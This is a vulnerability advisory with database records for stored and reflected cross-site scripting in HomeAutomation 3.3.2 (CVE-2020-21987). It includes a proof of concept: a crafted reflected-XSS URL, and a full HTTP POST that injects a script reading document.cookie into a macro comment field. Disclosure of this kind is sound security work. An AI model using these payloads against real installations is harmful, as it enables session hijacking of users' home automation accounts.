Title: HomeAutomation v3.3.2 Stored and Reflected XSS
Advisory ID: [ZSL-2019-5556](<ZSL-2019-5556.php>)
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 29.12.2019
##### Summary
HomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house.
##### Description
HomeAutomation suffers from multiple stored and reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
##### Vendor
Tom Rosenback and Daniel Malmgren - <http://karpero.mine.nu/ha/>
##### Affected Version
3.3.2
##### Tested On
Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
##### Vendor Status
[06.11.2019] Vulnerability discovered.
[07.11.2019] Vendor contacted.
[29.11.2019] No response from the vendor.
[30.11.2019] Vendor contacted.
[28.12.2019] No response from the vendor.
[29.12.2019] Public security advisory released.
##### PoC
[homeautomation_xss.txt](<../../codes/homeautomation_xss.txt>)
##### Credits
Vulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>
##### References
[1] <https://www.exploit-db.com/exploits/47806>
[2] <https://cxsecurity.com/issue/WLB-2019120130>
[3] <https://packetstormsecurity.com/files/155786/>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173655>
[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173656>
[6] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-21987>
[7] <https://nvd.nist.gov/vuln/detail/CVE-2020-21987>
[8] <https://www.tenable.com/cve/CVE-2020-21987>
##### Changelog
[29.12.2019] - Initial release
[24.01.2020] - Added reference [1], [2], [3], [4] and [5]
[19.06.2021] - Added reference [6], [7] and [8]
##### Contact
Zero Science Lab
Web: <http://www.zeroscience.mk>
e-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)
{"id": "ZSL-2019-5556", "vendorId": null, "type": "zeroscience", "bulletinFamily": "exploit", "title": "HomeAutomation v3.3.2 Stored and Reflected XSS", "description": "Title: HomeAutomation v3.3.2 Stored and Reflected XSS \nAdvisory ID: [ZSL-2019-5556](<ZSL-2019-5556.php>) \nType: Local/Remote \nImpact: Cross-Site Scripting \nRisk: (3/5) \nRelease Date: 29.12.2019 \n\n\n##### Summary\n\nHomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house. \n\n##### Description\n\nHomeAutomation suffers from multiple stored and reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. \n\n##### Vendor\n\nTom Rosenback and Daniel Malmgren - <http://karpero.mine.nu/ha/>\n\n##### Affected Version\n\n3.3.2 \n\n##### Tested On\n\nApache/2.4.41 (centos) OpenSSL/1.0.2k-fips \nApache/2.4.29 (Ubuntu) \nPHP/7.4.0RC4 \nPHP/7.3.11 \nPHP 7.2.24-0ubuntu0.18.04.1 \n\n##### Vendor Status\n\n[06.11.2019] Vulnerability discovered. \n[07.11.2019] Vendor contacted. \n[29.11.2019] No response from the vendor. \n[30.11.2019] Vendor contacted. \n[28.12.2019] No response from the vendor. \n[29.12.2019] Public security advisory released. \n\n##### PoC\n\n[homeautomation_xss.txt](<../../codes/homeautomation_xss.txt>)\n\n##### Credits\n\nVulnerability discovered by Gjoko Krstic - <[gjoko@zeroscience.mk](<mailto:gjoko@zeroscience.mk>)>\n\n##### References\n\n[1] <https://www.exploit-db.com/exploits/47806> \n[2] <https://cxsecurity.com/issue/WLB-2019120130> \n[3] <https://packetstormsecurity.com/files/155786/> \n[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173655> \n[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/173656> \n[6] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-21987> \n[7] <https://nvd.nist.gov/vuln/detail/CVE-2020-21987> \n[8] <https://www.tenable.com/cve/CVE-2020-21987>\n\n##### Changelog\n\n[29.12.2019] - Initial release \n[24.01.2020] - Added reference [1], [2], [3], [4] and [5] \n[19.06.2021] - Added reference [6], [7] and [8] \n\n##### Contact\n\nZero Science Lab \n \nWeb: <http://www.zeroscience.mk> \ne-mail: [lab@zeroscience.mk](<mailto:lab@zeroscience.mk>)\n", "published": "2019-12-29T00:00:00", "modified": "2019-12-29T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php", "reporter": "Gjoko Krstic", "references": [], "cvelist": ["CVE-2020-21987"], "immutableFields": [], "lastseen": "2021-12-11T19:53:34", "viewCount": 15, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-21987"]}]}, "score": {"value": 4.7, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-21987"]}, {"type": "nessus", "idList": ["OPENSUSE-2017-662.NASL", "SUSE_SU-2017-1445-1.NASL"]}, {"type": "threatpost", "idList": ["THREATPOST:3B05FD25F1EFE431C23369F5790520EB"]}]}, "exploitation": null, "vulnersScore": 4.7}, "sourceHref": "http://zeroscience.mk/codes/homeautomation_xss.txt", "sourceData": "<html><body><p>HomeAutomation v3.3.2 Stored and Reflected XSS\r\n\r\n\r\nVendor: Tom Rosenback and Daniel Malmgren\r\nProduct web page: http://karpero.mine.nu/ha/\r\nAffected version: 3.3.2\r\n\r\nSummary: HomeAutomation is an open-source web interface and scheduling solution.\r\nIt was initially made for use with the Telldus TellStick, but is now based on a\r\nplugin system and except for Tellstick it also comes with support for Crestron,\r\nOWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,\r\netc.) based on an advanced scheduling system, taking into account things like\r\nmeasurements from various sensors. With the houseplan view you can get a simple\r\noverview of the status of your devices at their location in your house.\r\n\r\nDesc: HomeAutomation suffers from multiple stored and reflected XSS vulnerabilities\r\nwhen input passed via several parameters to several scripts is not properly sanitized\r\nbefore being returned to the user. This can be exploited to execute arbitrary HTML\r\nand script code in a user's browser session in context of an affected site.\r\n\r\nTested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips\r\n Apache/2.4.29 (Ubuntu)\r\n PHP/7.4.0RC4\r\n PHP/7.3.11\r\n PHP 7.2.24-0ubuntu0.18.04.1\r\n\r\n\r\nVulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n @zeroscience\r\n\r\n\r\nAdvisory ID: ZSL-2019-5556\r\nAdvisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5556.php\r\n\r\n\r\n06.11.2019\r\n\r\n--\r\n\r\n\r\nReflected XSS:\r\n--------------\r\n\r\nhttps://192.168.2.113/?page=houseplan&autologin=1&msg=eyJpZCI6IiIsInRleHQiOiI8bWFycXVlZT50ZXN0PC9tYXJxdWVlPlVzZXJuYW1lIG9yIHBhc3N3b3JkIHdyb25nIiwiYWRkaXRpb25hbFRleHQiOiIiLCJ0eXBlIjoiZXJyb3IiLCJhdXRvQ2xvc2UiOmZhbHNlLCJzaG93T25seUluRGVidWciOmZhbHNlfQ==\r\n\r\n\r\nStored XSS:\r\n-----------\r\n\r\nPOST /homeautomation_v3_3_2/?page=conf-macros HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\nContent-Length: 998\r\nCache-Control: max-age=0\r\nOrigin: http://localhost\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\r\nSec-Fetch-User: ?1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-Mode: navigate\r\nReferer: http://localhost/homeautomation_v3_3_2/?page=conf-macros&action=edit&id=-1\r\nAccept-Encoding: gzip, deflate, br\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nCookie: HomeAutomation_user=admin; HomeAutomation_hash=842427e5fc831255d7aa811b70e64957; PHPSESSID=ldcipit064rfp5l8rtcah091og\r\n\r\n\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n-1\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nsave\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nXSS\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\n\"><script>confirm(document.cookie)</script>\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"icon_on\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"scenario\"\r\n\r\n1\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"devices[0]\"\r\n\r\n1\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"statuses[0]\"\r\n\r\n1\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q\r\nContent-Disposition: form-data; name=\"save\"\r\n\r\nSave\r\n------WebKitFormBoundaryq4LcgA7mbqElCW4q--\r\n\r\n\r\n\r\n</p></body></html>", "impact": "Cross-Site Scripting", "exploit_type": "Local/Remote", "_state": {"dependencies": 1647589307, "score": 0}}
{"cve": [{"lastseen": "2022-03-23T15:09:00", "description": "HomeAutomation 3.3.2 is affected by persistent Cross Site Scripting (XSS). XSS vulnerabilities occur when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-04-27T18:15:00", "type": "cve", "title": "CVE-2020-21987", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-21987"], "modified": "2021-05-10T17:50:00", "cpe": ["cpe:/a:homeautomation_project:homeautomation:3.3.2"], "id": "CVE-2020-21987", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-21987", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:homeautomation_project:homeautomation:3.3.2:*:*:*:*:*:*:*"]}]}